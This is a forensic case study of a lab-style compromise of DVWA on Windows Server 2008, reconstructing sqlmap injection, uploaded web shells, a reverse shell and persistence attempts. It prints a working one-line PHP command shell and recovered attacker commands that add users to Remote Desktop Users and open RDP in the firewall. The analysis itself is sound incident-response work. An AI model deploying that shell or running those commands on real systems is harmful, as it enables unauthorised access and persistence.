Digital Forensics & Incident Response Case Study

Windows Server 2008 / DVWA Compromise

A forensic reconstruction of a web application compromise involving DVWA, sqlmap, PHP web shells, memory-resident attacker artefacts, and attempted Windows persistence.

VictimWindows Server 2008 SP1
Web StackXAMPP / Apache / PHP / MySQL
Attacker IP192.168.56.102
Primary EvidenceApache Logs + Memory

1. Executive Summary

The examined Windows Server 2008 system was compromised through the DVWA web application hosted on XAMPP. The attacker, operating from 192.168.56.102, tested several vulnerable DVWA modules and successfully exploited SQL Injection using sqlmap. This enabled PHP code to be written into the web root and led to deployment of multiple web shells.

Post-exploitation evidence shows command execution, web shell usage, c99 shell deployment, a reverse-shell payload targeting 192.168.56.102:4545, and attempts to create Windows users and enable Remote Desktop access. Memory analysis was decisive: it recovered command history and HTTP artefacts that were not available in Windows Security event logs.

Initial AccessDVWA exploitation

SQL Injection and file upload abuse were used to gain execution.

ExecutionPHP web shells

phpshell.php, c99.php, and phpshell2.php were recovered.

Key EvidenceMemory artefacts

Volatility recovered console commands and Apache worker memory strings.

2. Short Answers to Challenge Questions

QuestionAnswer
What type of attacks were performed?Web application attacks: SQL Injection, XSS testing, LFI testing, file upload abuse, web shell deployment, remote command execution, and attempted Windows persistence.
How many users were added and how?Evidence shows attempts involving user1 and hacker. user1 was created via interactive net user commands recovered from console history. hacker creation commands were recovered from Apache process memory, likely via command injection/web shell activity.
What leftovers did attackers leave?Web shells, c99 shell, reverse shell payload, attacker-created directory abc, memory-resident command strings, PHP session artefacts, Apache/PHP log traces.
What software was installed?Windows Server 2008 SP1, XAMPP, Apache, MySQL, FileZilla Server, VirtualBox Guest Additions. XAMPP appears pre-existing; web shells were attacker artefacts.
Using memory forensics, shellcode type?The most relevant payload was a PHP reverse TCP stager in phpshell2.php, configured to connect to 192.168.56.102:4545 and execute received code via eval().
Timeline?Recon → SQLi/sqlmap → temporary shell → uploaded web shell → c99 → reverse shell → account/RDP persistence attempts → memory acquisition.
Hypothesis and approach?The attacker exploited DVWA to gain command execution, then attempted persistence. Approach: correlate registry, event logs, Apache logs, PHP logs, filesystem timestamps, and memory.
Anything else?Memory was critical because Windows Security logs did not preserve expected account creation/group membership events.

3. Environment and Evidence Sources

ItemFinding
Operating SystemWindows Server 2008 Standard SP1, 32-bit
TimezonePacific Time; ActiveTimeBias indicated UTC-7 during the incident period
Web StackXAMPP, Apache, PHP, MySQL, FileZilla Server
Memory ProfileWin2008SP1x86 / Vista SP1 kernel family
Memory Acquisition Time2015-09-03 10:04:05 UTC
Primary Log Source/xampp/apache/logs/access.log

4. Attack Chain

ReconDVWA browsing, XSS/LFI testing
ExploitSQL Injection with sqlmap
UploadPHP command shell
ExecuteCommands via web shell / c99
PersistUser/RDP commands recovered
The strongest reconstruction came from correlating Apache access logs with filesystem timestamps and Volatility memory artefacts. No single source told the full story.

5. Incident Timeline

System and XAMPP baseline established
Apache, MySQL, FileZilla Server, and XAMPP components present and active.
Reconnaissance and vulnerability testing
Apache logs show XSS, LFI, SQLi and DVWA setup activity from 192.168.56.102.
sqlmap exploitation
SQL Injection activity includes sqlmap User-Agent and INTO OUTFILE behaviour.
phpshell.php uploaded and tested
Apache logs show ?cmd=dir, ?cmd=dir C:\, and ?cmd=mkdir abc.
c99.php accessed
Repeated c99.php requests and act=cmd interactions observed.
Reverse shell uploaded
phpshell2.php uploaded and requested; payload targets 192.168.56.102:4545.
FTK Imager launched
Memory acquisition tooling observed in process list.
Memory acquired
RAM image captured while attacker artefacts remained recoverable.

6. Web Server Findings

SQL Injection and sqlmap

Apache access logs showed requests to DVWA SQL Injection endpoints with the User-Agent sqlmap/1.0-dev-nongit-20150902. The logs also contained evidence of an INTO OUTFILE payload writing PHP into the web root.

Simple PHP Command Shell

Recovered phpshell.php contained:

<?php
system($_GET["cmd"]);
?>

This exposes operating system command execution through the HTTP cmd parameter.

c99 Web Shell

c99.php was recovered and accessed by the attacker. c99 is a well-known PHP web shell that provides file browsing, command execution, upload/download capability, and other post-exploitation features.

Reverse Shell Payload

phpshell2.php contained PHP socket code configured to connect back to 192.168.56.102 on TCP port 4545, receive code, and execute it with eval().

7. Memory Forensics Findings

Volatility analysis of the memory image identified two active Apache worker processes, httpd.exe PID 2796 and PID 2880. Process memory dumping of PID 2880 recovered raw attacker artefacts that were not visible in normal logs.

Recovered Console History

net user user1 user1 /add
net user user1 root@psut /add
net user user1 Root@psut /add
net localgroup "Remote Desktop Users" user1 /add
netsh firewall set service type=remotedesktop mode=enable scope=subnet

Recovered Apache Process Memory Strings

Owned by hacker
net user hacker hacker /add
net localgroup "Remote Desktop Users" hacker /add
Windows Security logs did not contain the expected user creation or group membership events. Memory analysis provided the missing evidence.

Generic Web-Shell Toolkit Artefacts

Apache worker memory also contained Linux privilege-enumeration commands, such as searches for SUID/SGID files, writable directories, .htpasswd, and .bash_history. These were likely part of a generic web shell toolkit and not directly applicable to the Windows victim.

8. Filesystem Evidence

PathInterpretation
/xampp/htdocs/DVWA/hackable/uploads/phpshell.phpSimple PHP command shell uploaded through DVWA.
/xampp/htdocs/DVWA/c99.phpAdvanced PHP web shell.
/xampp/htdocs/DVWA/hackable/uploads/phpshell2.phpReverse TCP PHP stager.
/xampp/htdocs/DVWA/hackable/uploads/abcDirectory created by attacker command mkdir abc.
/xampp/htdocs/DVWA/webshell.phpPre-existing simple shell found in webshell archive; potentially training artefact.

9. Indicators of Compromise

Network

  • 192.168.56.102
  • 192.168.56.102:4545

Files

  • phpshell.php
  • phpshell2.php
  • c99.php
  • tmpudvfh.php
  • tmpbrjvl.php

Commands

  • net user
  • net localgroup
  • netsh firewall
  • mkdir abc

10. MITRE ATT&CK Mapping

TacticTechniqueEvidence
Initial AccessT1190 – Exploit Public-Facing ApplicationDVWA exploitation via SQLi/file upload
ExecutionT1059 – Command and Scripting InterpreterPHP system() shell and c99 commands
PersistenceT1136 – Create Accountnet user user1, net user hacker
Persistence / Lateral MovementT1021 – Remote ServicesRemote Desktop Users group and firewall commands
Command and ControlT1505.003 – Web Shellphpshell.php, c99.php
Command and ControlT1105 – Ingress Tool TransferUploaded shells and staged payloads

11. Conclusion

The evidence supports a high-confidence conclusion that the server was compromised through DVWA. The attacker performed reconnaissance, exploited SQL Injection with sqlmap, uploaded multiple web shells, executed commands, and attempted persistence through Windows user creation and RDP enablement.

The most important lesson from this case is evidentiary correlation. Apache logs explained the web attack, filesystem artefacts confirmed dropped files, PHP logs confirmed shell testing, registry artefacts established system context, and memory forensics recovered attacker commands absent from event logs.

Recommendation: A system compromised through web shell activity should be rebuilt from trusted media. Removing only the visible web shells is insufficient because attacker activity may have altered credentials, configuration, and application data.